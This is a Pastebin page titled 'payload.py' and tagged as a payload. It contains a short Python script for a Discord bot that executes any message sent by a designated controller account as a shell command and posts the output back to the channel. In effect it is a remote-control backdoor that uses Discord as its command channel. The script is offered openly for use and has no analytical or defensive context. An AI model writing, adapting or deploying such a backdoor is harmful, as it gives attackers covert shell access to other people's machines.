Advertisement
FlyFar

payload.py

Dec 3rd, 2023
762
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.56 KB | Cybersecurity | 0 0
  1. import discord
  2. import subprocess
  3.  
  4. client = discord.Client()
  5.  
  6. @client.event
  7. async def on_message(message):
  8.  
  9.     if message.content:
  10.         if str(message.author) == botMaster:
  11.             comando = subprocess.getoutput(str(message.content))
  12.             msg = 'Command granted by {0.author.mention}\n{1}'.format(message, comando)
  13.             await client.send_message(message.channel, msg)
  14.  
  15.  
  16. @client.event
  17. async def on_ready():
  18.     print('Logged in as')
  19.     print(client.user.name)
  20.     print(client.user.id)
  21.     print('------')
  22.  
  23. client.run(botToken)
Tags: Payload
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement